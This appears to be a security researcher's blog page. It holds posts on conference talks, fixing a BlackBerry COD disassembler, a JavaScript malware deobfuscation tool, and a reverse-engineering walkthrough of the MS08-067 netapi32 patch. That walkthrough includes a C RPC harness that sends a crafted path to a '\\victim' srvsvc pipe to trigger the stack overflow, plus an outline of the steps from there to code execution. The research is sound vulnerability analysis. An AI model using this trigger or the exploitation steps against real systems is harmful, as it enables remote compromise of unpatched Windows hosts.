New sh*t.

CSAW2009

CSAW2009

It has been a long while since we have posted anything here. The two Stephens have been busy. StephenL is always doing amazing things, and StephenR is always doing lame things, we just haven’t been so good about posting it. For what it’s worth, StephenR recently did a post over at Matasano Chargen on the CSAW Capture-the-Flag competitions and some reversing stuff. We are putting the finishing touches on a few posts JUST for here and we will get them up very soon. Thanks!

Beans at uCon Brazil.

Last week one of the Stephens (StephenR) from here at DontStuffBeansUpYourNose did a talk at uCon Brazil entitled “Introduction To Kernel Security Stuff“. This presentation was an introduction to driver developing, some cursory driver security issues (fuzzing and reversing), and kernel shellcoding. One of the other neat presentations was Julio Auto’s talk demoing a neat Windbg plugin to help with bug-hunting.

The smaller conferences are really where it’s at these days. Brazil was great, and the conference is the same week as Carnival. Thanks again to Julio Cesar Fort for the invitation. It was great this year and next year will almost certainly be better… Next week one of us from Beans will also be doing a similar talk atSDWest:SDExpo in Santa Clara, California.

Disassembling BlackBerry apps, take 2

A couple people brought to my attention that the coddec patch, well, doesn’t work.  And they were right!   I just committed a new  patch which should work.  Also, provided here are hopefully some instructions to get this working:

  • Download coddec.rar from wherever
  • Extract into some directory and cd into the directory
  • patch -p1 < coddec.patch
  • find . -name “*.java” > FILES.TXT
  • for/f %x in (FILES.TXT) do javac %x (or some equivalent sh)
  • java -classpath . net.rim.tools.compiler.Compiler FOO.COD

I’m using JDK 1.6.0 R12 (java -version -> java version “1.6.0_12″)

Make sure you don’t attempt to disassemble “COD” files that are actually “ZIP” files.  Also, for COD files that have interdependencies, you may need to have all “.COD” files in the same directory in order for coddec to parse them all.

Ignore a lot of the output, it’s all debugging from the original coddec plus some of my own crap… Also, it very well may fail to parse certain cod files.  I use it on third-party applications, YMMV.

Disassembling Version 6 BlackBerry apps

Now and again I have to disassemble BlackBerry apps.  BlackBerries pretty much run all Java code.  You might think this would mean everything was .class files and you could jad everything, but this is not the case.  Everything gets compiled to “.cod” files, a file format I have found very little information about on the Internets.  (possibly due to poor googling skills, or as I like to call it “living it up” since I have converted to the dark side and love Microsoft now)

“Live it up” enough and you’ll come across Dr. B0lsen who has apparently been reversing BlackBerry apps for quite some time.  His team(?) released “coddec”, a BlackBerry “decompiler”.  Disassembler is more correcter, since the result is pseudo-Java that contains partially reconstructed BlackBerry JVM assembly code.

As mentioned on his site, there is a flaw in the disassembler that causes it to fail on certain files (parsing certain “Member Refs”).  Also, it cannot parse cod files produced by newer JDE’s (any COD file with a version number of 6 will bomb out in coddec).  Typically you’ll get a stacktrace with something about “no class ref found at offset BLAH”

Totally changing gears, if you download the official BlackBerry JDE, unzip rapc.jar, jad the .class files, and compare with coddec you may notice some similarities :-)

This led me to presume that coddec was derived from perhaps an older BlackBerry JDE that predates “Version 6″ COD files.  So I created two workspaces in Eclipse and loaded each version. I really don’t like Eclipse because I have an irrational hatred of GUIs but its code refactoring (for Java anyway) is actually pretty awesome.  Using elite string-searching skills I was able to rename rapc class files to their more sensibly named coddec counterparts, in order to see if there were obvious bugs in the coddec source that could cause it to fail parsing newer Cod files.

The most obvious differences were in “DataSection.java” and “k.java” (RAPC equivalent of DataSection.java).  In the implicit member ref parsing, there is a new class in the 4.7.0 JDE that doesn’t exist in the coddec source:

coddec: net\rim\tools\compiler\codfile\DataSection.java

public boolean _ifaZ(net.rim.tools.compiler.io.StructuredInputStream __input, net.rim.tools.compiler.codfile.CodfileVector __codFileVector, boolean flag)
    throws IOException
{
    …
    __input.verifyOffset(__codFileVector.getOffset(), “implied member fixup table”);
    …
    net.rim.tools.compiler.codfile.MemberRef memberRef = new net.rim.tools.compiler.codfile.MemberRef(__input, this);
    __codFileVector.addElement(new net.rim.tools.compiler.codfile.FixupTableEntry(__input, memberRef, 2, _aliasesFlag, flag1));

rapc: net\rim\tools\compiler\d\k.jad

public boolean _mthif(a a3, ag ag1, boolean flag, boolean flag1)
    throws IOException
{
    …
    a3.a(ag1.bT(), “implied member fixup table”);
    …
    au au1 = w(a3.gw());
    ak ak1 = ae().ai(a3.gw());
    int i2 = a3.gw();

    int j2 = 0;
    if(flag3)
        j2 = a3.gw();
    Object obj = flag3 ? ((Object) (new at(au1, ak1, i2, j2))) : ((Object) (new j(au1, ak1, i2)));
    ag1.addElement(new an(a3, ((ap) (obj)), 2, ff, flag2));

You can see some of the obvious similarities.  The newer JDE also appears to benefit (suffer?) from an optimizing compiler that has inlined portions of the “at” and “j” constructor calls into the main body of the _mthif call.  “j” it turns out is the “MemberRef” from coddec, while “at” is some new mysterious class that must be related to “MemberRefs” (whatever they are), but requires an additional 2-byte short in order to parse (the “gw” call, it turns out, reads 2-byte shorts).

Anyway I basically did this sort of comparison for a few classes in order to find those parts that needed to be fixed for Version 6 cod files.  I ended up renaming “at to “AdvancedMemberRef” for lack of a better name.  There were some fixes I had to make to header parsing in DataSection to get it to deal with V4/5/6 files correctly, plus I added labels and corrected jump targets for gotos and other things.

There are some other gotchas too: the BlackBerry JVM is not the same as the standard JVM.  For the most part you can read it like regular Java JVM.  But, for example, the “stringlength” opcode is non-existant in standard Java.  Something to keep in mind especially if you want to rip code out of BlackBerry apps to run standalone.

All this is rolled up into a patch (warning! I curse like a drunken sailor IRL and in code!) you can apply against the original coddec source.  Compiling and running this crap is left as an exercise to the reader.  P’raps some of the patches will inspire a dedicated BlackBerry reverser to take the time to make a beautiful disassembler.  I don’t have the inclination to make beautiful things, but there are apparently many people still running into coddec-limitations so maybe this is better than nothing.  Anyway and thanks to Dr. B0lsen

 

 

Javascript Malware Deobfuscation

   So it turns out that there is a useful trick when working with and deobfuscating quasi-encrypted and obfuscated Javascript (like that seen in malware). The other Stephen observed that the function “COlescript::Compile()” in JSCRIPT.DLL is basically the place in the javascript interpreter that equates to an eval().

If you break here at runtime (like so) you can grab stuff just before it hits the eval() which is generally after its been “deobfuscated” by the malware’s “loader”. (I use these terms in quotes because the whole idea of people “hiding” stuff in javascript is kinda silly in the first place.) So if you want to see for yourself you can use my Windbg script that does this. Or you can use a tool I wrote called “Mina“.

 The Mina Javascript Deobfuscation Helper tool uses the Windows Debug API’s (and is actually a mini debugger) that attach to IE process space and monitors for when that function is called. When that function is hit, Mina catches it, and dumps the javascript to disk. The Mina is fully standalone, so you wont have to use your debugger, it will also automatically download symbols and such, so it should work portably across different versions of Windows (IA32 only).  

Here is a screenshot of The Mina in use. 

 If that’s too small to read, here is high-rez flash video of The Mina in use (dont fret, it starts playing at 10%), and a wmv version also.

As soon as I can finish getting symbol (all, not just EXPORT_TABLE symbols) working in some of the framework debuggers I am very fond of (such as VDB) this will probably get ported… in the meantime you can make fun of how aweful I am at C. Admittedly, the code is an abysmal hack (MSuiche said it made him nauseous :-) but, it might make good reference code for writing debuggers and doing symbol stuff nonetheless…I’ll probably fix it up later sometime…

Source is browsable here.

Binary (.exe) and source is here.

Note: as stated in the README.TXT you will need to have “Debugging Tools For Windows” installed.

if you have problems just email stephen(at)sa7ori.org

reversing the ms08-067 patch…

We are gonna jump right in here:

First, let’s download patches. MS has supplied patches for 2K. Since 2K is the older, less featureful of any of the operating systems, we should download those patches in order to gain insight into the vulnerability. First, I grabbed the patch from http://www.microsoft.com/technet/security/bulletin/ms08-067.mspx. I noted that it “replaced” the patch from ms06-040:

So I downloaded MS06-040.mspx as well. Extracting these patches can be done with, for example, “Windows2000-KB921883-x86-ENU.exe /extract:wherever”. In either case only netapi32.dll was patched – thank heavens! Makes diffing easier.

 

Next I had to diff these patches. I’ve only done this once before, and I don’t have any of my old tools. The other Stephen told me about eEye’s binary diffing suite, which I downloaded and installed (with some dumb registry hacks to get it running under IDA 5.2). Fortunately DarunGrim (the eEye differ) is super-easy to use. After running AnalIDA on both netapi32’s and exporting to sqllite, I had the following output from DarunGrim (I clicked on “Match Rate” to get the diffs at the top):

 

On the left is netapi32.dll for 2K SP4 MS06-040, and on the right is netapi32.dll from the latest MS08-067 2K SP4 patch.

 

So some unnamed subroutine as well as NetpManageIPCConnect. Well I’ll spare you the details about NetpManagerIPCConnect and just give an overview: it’s called by NetJoinDomain and has nothing to do with the current vulnerability. Or does it! Maybe it’s just a free security update for 2K, I dunno.

 

Anyway that unnamed function is what’s interesting. Take a look at “Unidentified Subroutines”:


Hmm… StringCopyWorkerW is what MS uses whenever they have to start cleaning up their old fugly code. Well looking at “sub_7CDDB293” (patched) we have:

And in the old (less patched) function we have:

At first this kind of stuff gets you excited about unbounded stack copies, until you look at the function a little. First off, the function takes one argument:

 

And there are no local buffers. Huh… if you look at it a bit longer, you’ll see the function copies FROM the “pszDest” buffer TO the “pszDest” buffer. This is not the stuff strcpy overflows are made of, since the destination buffer is by definition at least as large as the source buffer.

 

So I discounted a straight up overflow and figured it must be an indexing error of some kind. If you bring up MS06-040 for 2K SP4 netapi32.dll in IDA and look around, you can match up your flowgraph with the one I show here:

 

What tipped me off was:

 

.text:7CDDB318 014 89 6C 24 10 mov [esp+14h+var_4], ebp

.text:7CDDB31C 014 8B F5 mov esi, ebp

.text:7CDDB31E 014 83 C5 FE add ebp, -2

.text:7CDDB321 014 55 push ebp

.text:7CDDB322 018 57 push edi

.text:7CDDB323 01C E8 5C 00 00 00 call sub_7CDDB384

.text:7CDDB328 014 8B E8 mov ebp, eax ; ASS

 

 

That “add ebp, -2” could cause ebp to point before the start of our buffer, if ebp was initialized to point to the start of the buffer. Moreover, if you look at “sub_7CDDB384”, you’ll see it scans backwards for a “\” (backslash) character. So if ebp did point prior to the buffer start, sub_7CDDB23D would make it point even further down the stack. A subsequent wcscpy (in the “peach” box in the graph above) could then corrupt variables farther down the callstack (like, say, EIP).

 

However, this section of code won’t be called until ebp is non-zero, which occurs in the “green” marked box, which must be pre-ceded by edx being initialized in the “yellow” box.

 

Rather than completely untangle the mess of functionality exposed in this disassembly, I wanted to run the function a little and see what kind of inputs correspond to what outputs.

 

I did this by taking the offset between sub_7CDDB23D and the load address of NETAPI32.DLL, and then I wrote this C program:

 

#include <windows.h>

#include <stdio.h>

 

int wmain(int argc, wchar_t **argv)

{

HMODULE netapi32 = LoadLibraryW(argv[1]);

void (__stdcall *foo)(PWCHAR);

WCHAR buf[4096];

 

*(PVOID*)&foo = (PVOID)(((PUCHAR)netapi32) + 0×1b23d);

 

//__asm { int 3 }

 

wcscpy(buf, argv[2]);

foo(buf);

wprintf(L”%s\n”, buf);

}

 

Now I could basically just call the function on the command line with different combinations of characters and see what happened:

So basically it strips out preceding directory entries with each “\..\”. No doubt it does this by finding where a “\..\” is, backing up to the backslash that starts before it, and copying the string down. But what happens when there are aren’t any more prior directory entries….

 

So it scanned backwards until it busted the stack (as if there had been infinite recursion or it had allocated too much memory with alloca). Probably cuz there wasn’t any “0×5c” (“\”) on the stack. Well maybe in the RPC service there will be…

 

For that, get a call graph:

Looks complicated, but NetpwPathCanonicalize is an export, and SRVSVC.DLL imports it…

Wow, wasn’t this exact function patched in MS06-040? Microsoft sure has egg on their face. Well, I didn’t have any packet generators with me and I don’t know how to use metasploit, so I used Tenable’s awesome mIDA plugin to rip out an IDL from SRVSVC:

 

mIDA never organizes its structs and unions correctly, so I had to fiddle with the resulting .IDL file, but that only took 5-10 minutes. The next thing to do was put a harness together to call the NetprPathCanonicalize function in C/C++:

 

#include <windows.h>

#include “srvsvc.h”

#include <stdio.h>

 

extern “C” PVOID __stdcall MIDL_user_allocate(size_t s) { return malloc(s); }

extern “C” VOID __stdcall MIDL_user_free(PVOID p) { free(p); }

 

int main(int argc, char **argv)

{

RPC_STATUS status;

unsigned char *strBind = 0;

handle_t handle;

 

status = RpcStringBindingComposeA(0, // object uuid

(RPC_CSTR)”ncacn_np”, // protseq

(RPC_CSTR)argv[1], // net addr

(RPC_CSTR)argv[2], // endpoint

0,

&strBind);

if (status) { printf(”%d\n”, status); return status; }

 

printf(”%s\n”, strBind);

 

status = RpcBindingFromStringBinding(strBind, &handle);

if (status) { printf(”%d\n”, status); return status; }

 

RpcTryExcept {

unsigned char x[1000];

long q = 1;

_NetprPathCanonicalize(handle, L”AAA”, L”.\\\\x\\..\\..\\xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx”, x, 1000, L”", &q, 1);

} RpcExcept(EXCEPTION_EXECUTE_HANDLER) {

unsigned long code = RpcExceptionCode();

printf(”WAHAHAH %d %08x\n”, code, code);

} RpcEndExcept

 

printf(”hi\n”);

}

 

The MIDL_user_allocate/free functions are because MIDL.EXE won’t generate them for you but they end up in the client stubs. I had to fiddle a little with the parameters in NetprPathCanonicalize to pass all the various checks and functions to get my evil data from NetprPathCanonicalize, through to NetpwPathCanonicalize and to the vulnerable “sub_…” routine, but as you can see there isn’t much too it.

 

In order to get a real exploit out of this, we need to:

 

  • Prime our RPC service with additional data to ensure that a “\” (backslash) will occur somewhere in an older portion of the callstack, so that ebp won’t point too far down the stack before the wcscpy
  • Dump a jmp esp somewhere into that mess of “x”s
  • Get valid Unicode shellcode (which isn’t hard) and put it in the “x”s. You’ve got almost 1000 bytes to work with, that should be more than enough for about anything.

 

I didn’t handle any authentication or anything in this dumb example, so you use it by:

 

net use \\victim\ipc$ /user:”” “” (or valid creds, depending…)

die.exe \\victim \pipe\srvsvc

Oh just a dumb addendum to this post: you can get the PoC which remotely accesses this vuln off milw0rm: http://www.milw0rm.com/exploits/6824 and http://milw0rm.com/sploits/2008-ms08-067.zip.  This won’t get you execution since I’m not in the habit of releasing toys for k1dd13s but, like the patch itself, it should be enough for anyone moderately skilled to get reliable EIP, it just needs a little futzing here and there.

Also, in fairness to Microsoft’s fuzzers, although it is trivially easy to bust the unnamed “sub_7CDDB23D”  that is internal to NETAPI32.DLL, actually accessing this function in a way that will remotely trigger the vulnerability is a bit trickier.  Once someone’s pointed it out to you, you’ll smack your forehead and wonder how you could’ve missed it (I have been smacking my forehead now for 2 days straight); but it does actually require the alignment of several parameters in juuust the right way.  Anyone who’s ever tried fuzzing something will know that for every parameter you can fuzz “correctly” (i.e., exploitably), there is probably a few thousand (more often, billion) ways to fuzz that parameter “incorrectly” (i.e., safely).  Multiply that by the 7 or so arguments required by NetprPathCanonicalize and even “simple” stuff like this can slip through the cracks.

*** more files and such to come (idb, analida, etc.) ***

Also, why is it that when you start googling for random stuff while you are reversing you always get hits for Chinese sites? ;-)

Also, we know Kostya Kortchinsky at Immuity beat us to this…and teased us about it…

 

WordPress Themes